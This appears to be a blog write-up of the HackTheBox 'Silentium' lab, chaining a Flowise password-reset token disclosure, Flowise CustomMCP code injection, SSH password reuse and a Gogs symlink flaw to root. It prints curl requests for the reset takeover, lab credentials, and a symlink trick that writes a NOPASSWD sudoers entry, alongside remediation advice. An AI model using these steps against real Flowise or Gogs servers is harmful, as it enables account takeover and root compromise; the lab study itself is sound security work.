HackTheBox Silentium Writeup

HTB Silentium chain: Flowise password-reset token disclosure, CustomMCP code injection, credential reuse, and the Gogs PutContents symlink flaw.

7 min read
ibrahimsql
1,201 words

HackTheBox Silentium Writeup

We finished Silentium. But how we finished it is the interesting part. I'm writing down both the solution chain and where I stumbled on the way.

Discovery: A Single Subdomain

Text
$ nmap -Pn -sV -sC -T4 10.129.62.9
22/tcp  open  ssh    OpenSSH
80/tcp  open  http   nginx
 
$ ffuf -w $WORDLIST \
    -H "Host: FUZZ.silentium.htb" -u http://10.129.62.9/ -fw 10
staging.silentium.htb

Opening staging. greeting us was Flowise 3.0.5.

Flowise: Password-Reset Token Disclosure

CVE-2025-58434 is a direct response disclosure: the vulnerable Flowise endpoint returns the reset tempToken in JSON. MailHog is not required to obtain it. The published advisory gives the request and response flow; use the token from the response, then submit it to the reset endpoint:

Bash
curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H 'Content-Type: application/json' \
  -d '{"user":{"email":"ben@silentium.htb"}}'
 
# Read user.tempToken from the JSON response; the value is not reproduced here.
curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H 'Content-Type: application/json' \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"<returned-token>","password":"<new-lab-password>"}}'

The API route includes /account/; no response body or token is included because the article has no captured output. The vendor fix is Flowise 3.0.6. If MailHog was also present on the box, treat it as a separate service exposure, not a prerequisite for this CVE.

I'm in. The login endpoint is /api/v1/auth/login with the format {"email":"...","password":"..."}, which I found by parsing the JS bundle.

CVE-2025-59528: CustomMCP Code Execution

Flowise 3.0.5's CustomMCP node passes the user-controlled mcpServerConfig string through Function() while converting it to JSON. The advisory traces this flow through /api/v1/node-load-method/customMCP; its example uses a bearer token and inputs.mcpServerConfig.

Text
POST /api/v1/node-load-method/customMCP
Authorization: Bearer <Flowise API token>
Content-Type: application/json
 
{"loadMethod":"listActions","inputs":{"mcpServerConfig":"<attacker-controlled configuration string>"}}

The earlier x-request-from: internal / javascriptFunction example does not match the published CVE, which identifies mcpServerConfig as the evaluated input. The lab notes contain no raw request/response establishing a separate internal-header bypass. See the Flowise advisory; the fix is 3.0.6.

The original box notes record the following environment values after code execution, but do not include the request or response used to retrieve them. Treat them as lab observations, not a reproducible variables-API example:

SMTP_PASSWORD=r04D!!_R4ge
FLOWISE_PASSWORD=F1l3_d0ck3r

SSH: Password Reuse

Text
$ ssh ben@10.129.62.9
Password: r04D!!_R4ge
ben@silentium:~$ cat ~/user.txt
// USER FLAG

SMTP password = SSH password.

Dead Ends

/usr/bin/bash is writable by everyone and GOGS runs as root. GOGS hooks start with #!/usr/bin/env bash; if I turn bash into a malicious script, the hook runs as root. A nice plan on paper. But in Python string escaping \$(id -u) wrote a literal backslash-dollar, the condition was always false, and the SSH login broke. I locked myself out. The real lesson: when you're stuck in a loop, stop, pull back, and ask "what's the actual CVE".

In Gogs 0.13.3, the PutContents API mishandles symlinks in a repository path; NVD describes the result as local code execution. The upstream fix rejects operations when any component of the repository path is a symlink. The lab notes say Gogs ran as root, which would make the write target root-privileged; elsewhere, impact is bounded by the Gogs service account. See the CVE record and upstream patch.

Text
>>> os.symlink('/etc/sudoers.d/ben', 'exploit_link')
# git add, commit, push
# PUT /api/v1/repos/owner/repo/contents/exploit_link
# body: {"content": base64("ben ALL=(ALL) NOPASSWD: ALL\n"), "sha": sha, "message": "exploit"}

This sudoers write is a box-specific consequence of the service identity, not a universal impact of the CVE. Never run a Git service as root.

$ sudo cat /root/root.txt
// ROOT FLAG

Attack Chain

Nmap → staging subdomain (Flowise 3.0.5) → CVE-2025-58434 token returned in response → account reset/login → CVE-2025-59528 CustomMCP code execution → container values → SSH ben → user flag → Gogs CVE-2025-8110 → sudoers write → root.

Vulnerabilities Table

#VulnerabilityImpactClass
1forgot-password returns a reset tokenAccount takeoverSensitive information disclosure
2Flowise CVE-2025-59528 CustomMCP evaluationCode execution in Flowise processCode injection
3SMTP credential reused for SSHSSH accessCredential reuse
4Gogs CVE-2025-8110 PutContents symlink handlingCode execution as the service identity (root in this lab, per notes)Improper symlink handling

Defence Summary

  • Patch Flowise: upgrade to 3.0.6 or later, which fixes CVE-2025-58434 and CVE-2025-59528. Reset responses should not contain tokens or sensitive account details; deliver reset tokens only through a verified channel.
  • Protect the CustomMCP path: do not evaluate configuration as JavaScript; parse strict data formats, enforce authorization server-side, and run the service with least privilege and restricted egress.
  • MailHog: if used for testing, isolate and authenticate its interface. Its presence is not needed for the password-reset token disclosure.
  • Secrets and credentials: an RCE in a process can read that process's environment. Use least-privilege, service-specific credentials, rotate exposed values, and avoid password reuse.
  • Gogs: apply the upstream symlink-path fix, test repository writes against symlinked path components, and run Gogs as a dedicated non-root service account.

Evidence Boundaries

  • The Flowise password-reset advisory documents /api/v1/account/forgot-password returning tempToken in the response. This is why MailHog is not a required link in the chain.
  • The CVE-2025-59528 advisory documents CustomMCP evaluating inputs.mcpServerConfig through Function(). It does not document the x-request-from: internal bypass or a javascriptFunction input; those claims are not attributed to the CVE here.
  • The Gogs fix checks every component of the repository path for symlinks. The CVE's impact follows the service identity; the statement that Gogs ran as root is a box-specific note without a retained process listing.
  • The article has no captured reset response, RCE request, container output, or machine image. Challenge-specific credentials and file paths above remain original lab notes, not independently reproduced evidence.

Safe Validation and Remediation

  • Confirm the installed Flowise package is 3.0.6 or later. In an authorized test, verify that forgot-password returns a generic response with no reset token or sensitive account data.
  • Confirm the CustomMCP handler treats configuration as data, not executable JavaScript, and that unauthenticated callers cannot reach privileged node operations. Do not use a spoofable client header as an authorization decision.
  • Verify that container processes run with only the privileges and secrets they need; rotate credentials exposed by a compromised process and use distinct credentials per service.
  • Apply the Gogs patch, run the service as a dedicated non-root user, and test in a disposable repository that a write through any symlinked path component is rejected without modifying a file outside the repository.
  • Review reset requests, Flowise node-load calls, and Gogs repository writes for unusual volume or symlink-path failures. A 200/401 count alone does not prove an authorization bypass.

Primary Sources

Tags: WRITE-UP / HTB / SILENTIUM / FLOWISE / GOGS / CVE-2025-59528 / CVE-2025-8110

---
Share this post:

What do you think?

React to show your appreciation

Related Posts